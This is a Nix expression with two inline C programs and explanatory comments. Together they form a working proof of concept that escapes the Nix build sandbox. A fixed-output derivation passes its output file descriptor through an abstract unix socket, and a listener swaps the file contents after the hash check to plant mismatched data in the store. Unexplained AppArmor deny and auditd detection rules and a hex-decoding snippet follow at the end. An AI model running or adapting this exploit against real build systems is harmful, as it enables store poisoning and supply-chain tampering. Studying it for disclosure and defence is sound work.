# Nix is a sandboxed build system. But Not everything can be handled inside its
# sandbox: Network access is normally blocked off, but to download sources, a
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
# The detail here is not important, but in our case it means that the hash of
# the output has to be known beforehand. And if you know that, you get a few
# rights: you no longer run inside a special network namespace!
#
# Now, Linux has a special feature, that not many other unices do: Abstract
# unix domain sockets! Not only that, but those are namespaced using the
# network namespace! That means that we have a way to create sockets that are
# available in every single fixed-output derivation, and also all processes
# running on the host machine! Now, this wouldn't be that much of an issue, as,
# well, the whole idea is that the output is pure, and all processes in the
# sandbox are killed before finalizing the output. What if we didn't need those
# processes at all? Unix domain sockets have a semi-known trick: you can pass
# file descriptors around! Now, my first thought was "what if you open($out,
# O_PATH) and pass that out of the sandbox?", but then edef came up with
# something way easier: just pass an open file descriptor for the output to the
# outside world!
#
# Let's set up some code, and I'll see you on the other side!
{ pkgs ? import <nixpkgs> { } }: let

    # Let's write a small C file, inline to this Nix code.
    sender = pkgs.writeCBin "sender" ''
      #include <sys/socket.h>
      #include <sys/un.h>
      #include <stdlib.h>
      #include <stddef.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <errno.h>

      int main(int argc, char **argv) {
          int sock = socket(AF_UNIX, SOCK_STREAM, 0);

          // Set up a abstract domain socket path to connect to.
          struct sockaddr_un data;
          data.sun_family = AF_UNIX;
          data.sun_path[0] = 0;
          strcpy(data.sun_path + 1, "dihutenosa");

          // Now try to connect, To ensure we work no matter what order we are
          // executed in, just busyloop here.
          int res = -1;
          while (res < 0) {
              res = connect(sock, (const struct sockaddr *)&data,
                  offsetof(struct sockaddr_un, sun_path)
                    + strlen("dihutenosa")
                    + 1);
              if (res < 0 && errno != ECONNREFUSED) perror("connect");
              if (errno != ECONNREFUSED) break;
          }

          // Write our message header.
          struct msghdr msg = {0};
          msg.msg_control = malloc(128);
          msg.msg_controllen = 128;

          // Write an SCM_RIGHTS message containing the output path.
          struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
          hdr->cmsg_len = CMSG_LEN(sizeof(int));
          hdr->cmsg_level = SOL_SOCKET;
          hdr->cmsg_type = SCM_RIGHTS;
          int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
          memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));

          msg.msg_controllen = CMSG_SPACE(sizeof(int));

          // Write a single null byte too.
          msg.msg_iov = malloc(sizeof(struct iovec));
          msg.msg_iov[0].iov_base = "";
          msg.msg_iov[0].iov_len = 1;
          msg.msg_iovlen = 1;

          // Send it to the othher side of this connection.
          res = sendmsg(sock, &msg, 0);
          if (res < 0) perror("sendmsg");
          int buf;

          // Wait for the server to close the socket, implying that it has
          // received the commmand.
          recv(sock, (void *)&buf, sizeof(int), 0);
      }
    '';

    # Okay, so we have a file descriptor shipped out of the FOD now. But the
    # Nix store is read-only, right? .. Well, yeah. But this file descriptor
    # lives in a mount namespace where it is not! So even when this file exists
    # in the actual Nix store, we're capable of just modifying its contents...
    # But that's not all! We're able to abuse another misfeature of Nix to do
    # this all without even corrupting the store! That's right, a fixed-output
    # derivation whose hash doesn't match the actual contents!
    smuggler = pkgs.writeCBin "smuggler" ''
      #include <sys/socket.h>
      #include <sys/un.h>
      #include <stdlib.h>
      #include <stddef.h>
      #include <stdio.h>
      #include <unistd.h>
      #include <sys/inotify.h>

      int main(int argc, char **argv) {
          int sock = socket(AF_UNIX, SOCK_STREAM, 0);

          // Bind to the socket.
          struct sockaddr_un data;
          data.sun_family = AF_UNIX;
          data.sun_path[0] = 0;
          strcpy(data.sun_path + 1, "dihutenosa");
          int res = bind(sock, (const struct sockaddr *)&data,
              offsetof(struct sockaddr_un, sun_path)
              + strlen("dihutenosa")
              + 1);
          if (res < 0) perror("bind");

          res = listen(sock, 1);
          if (res < 0) perror("listen");

          while (1) {
              int a = accept(sock, 0, 0);
              if (a < 0) perror("accept");

              struct msghdr msg = {0};
              msg.msg_control = malloc(128);
              msg.msg_controllen = 128;

              // Receive the file descriptor as sent by the smuggler.
              recvmsg(a, &msg, 0);

              struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
              while (hdr) {
                  if (hdr->cmsg_level == SOL_SOCKET
                   && hdr->cmsg_type == SCM_RIGHTS) {
                      int res;

                      // Grab the copy of the file descriptor.
                      memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
                      printf("preparing our hand...\n");

                      ftruncate(res, 0);
                      // Write the expected contents to the file, tricking Nix
                      // into accepting it as matching the fixed-output hash.
                      write(res, "hello, world\n", strlen("hello, world\n"));

                      // But wait, the file is bigger than this! What could
                      // this code hide?

                      // First, we do a bit of a hack to get a path for the
                      // file descriptor we received. This is necessary because
                      // that file doesn't exist in our mount namespace!
                      char buf[128];
                      sprintf(buf, "/proc/self/fd/%d", res);

                      // Hook up an inotify on that file, so whenever Nix
                      // closes the file, we get notified.
                      int inot = inotify_init();
                      inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);

                      // Notify the smuggler that we've set everything up for
                      // the magic trick we're about to do.
                      close(a);

                      // So, before we continue with this code, a trip into Nix
                      // reveals a small flaw in fixed-output derivations. When
                      // storing their output, Nix has to hash them twice. Once
                      // to verify they match the "flat" hash of the derivation
                      // and once more after packing the file into the NAR that
                      // gets sent to a binary cache for others to consume. And
                      // there's a very slight window inbetween, where we could
                      // just swap the contents of our file. But the first hash
                      // is still noted down, and Nix will refuse to import our
                      // NAR file. To trick it, we need to write a reference to
                      // a store path that the source code for the smuggler drv
                      // references, to ensure it gets picked up. Continuing...

                      // Wait for the next inotify event to drop:
                      read(inot, buf, 128);

                      // first read + CA check has just been done, Nix is about
                      // to chown the file to root. afterwards, refscanning
                      // happens...

                      // Empty the file, seek to start.
                      ftruncate(res, 0);
                      lseek(res, 0, SEEK_SET);

                      // We swap out the contents! Put in a reference for the other drv,
                      // to make sure the CA flag gets wiped(!)
                      write(res, "goodbye, world, ${mock}\n", strlen("goodbye, world, ${mock}\n"));
                      close(res);

                      printf("swaptrick finished, now to wait..\n");
                      return 0;
                  }

                  hdr = CMSG_NXTHDR(&msg, hdr);
              }
              close(a);
          }
      }
    '';

    # That store path mentioned above? That's this one :)
    mock = builtins.toFile "mock" "mock";

    # To make debugging easier, we append the current time in seconds to the
    # drv's names, to ensure we have to rebuild them every single time.
    t = builtins.toString builtins.currentTime;

    # And now to run the server:
    smugglerCaller = pkgs.runCommandNoCC "caller-${t}" {
      outputHashMode = "flat";
      outputHashAlgo = "sha256";
      outputHash = builtins.hashString "sha256" "";
    } ''
      ${smuggler}/bin/smuggler

      # Make sure we don't error out on exit.
      touch $out
    '';

    # Run the client side, or socket sender.
    smugglerSender = pkgs.runCommandNoCC "magic-${t}" {
      # look ma, no tricks!
      outputHashMode = "flat";
      outputHashAlgo = "sha256";
      outputHash = builtins.hashString "sha256" "hello, world\n";
    } ''
      # ${mock} is now a dependency of this drv.
      exec ${sender}/bin/sender
    '';

    glue = pkgs.runCommandNoCC "glue" { } ''
      if grep "goodbye" ${smugglerSender}; then
        echo "swaptrick success, yay"
        echo "try running nix-store --verify-path ${smugglerSender} :)"
      else
        echo "swaptrick failed :("
      fi
      echo ${smugglerSender} > $out
      # ${smugglerCaller} to make sure we have both as a dep, so building one drv builds both
    '';
in glue

deny unix addr=@**,

-a always,exit -F arch=b64 -S bind -F saddr_fam=1 -k unix_bind
-a always,exit -F arch=b64 -S connect -F saddr_fam=1 -k unix_bind

In [2]: unhx('0100002F686178')
Out[2]: b'\x01\x00\x00/hax'

In [3]: unhx('01002F72756E2F757365722F313030302F416C616372697474792D7761796C616E642D302D3135363132362E736F636B00')
   ...:
Out[3]: b'\x01\x00/run/user/1000/Alacritty-wayland-0-156126.sock\x00'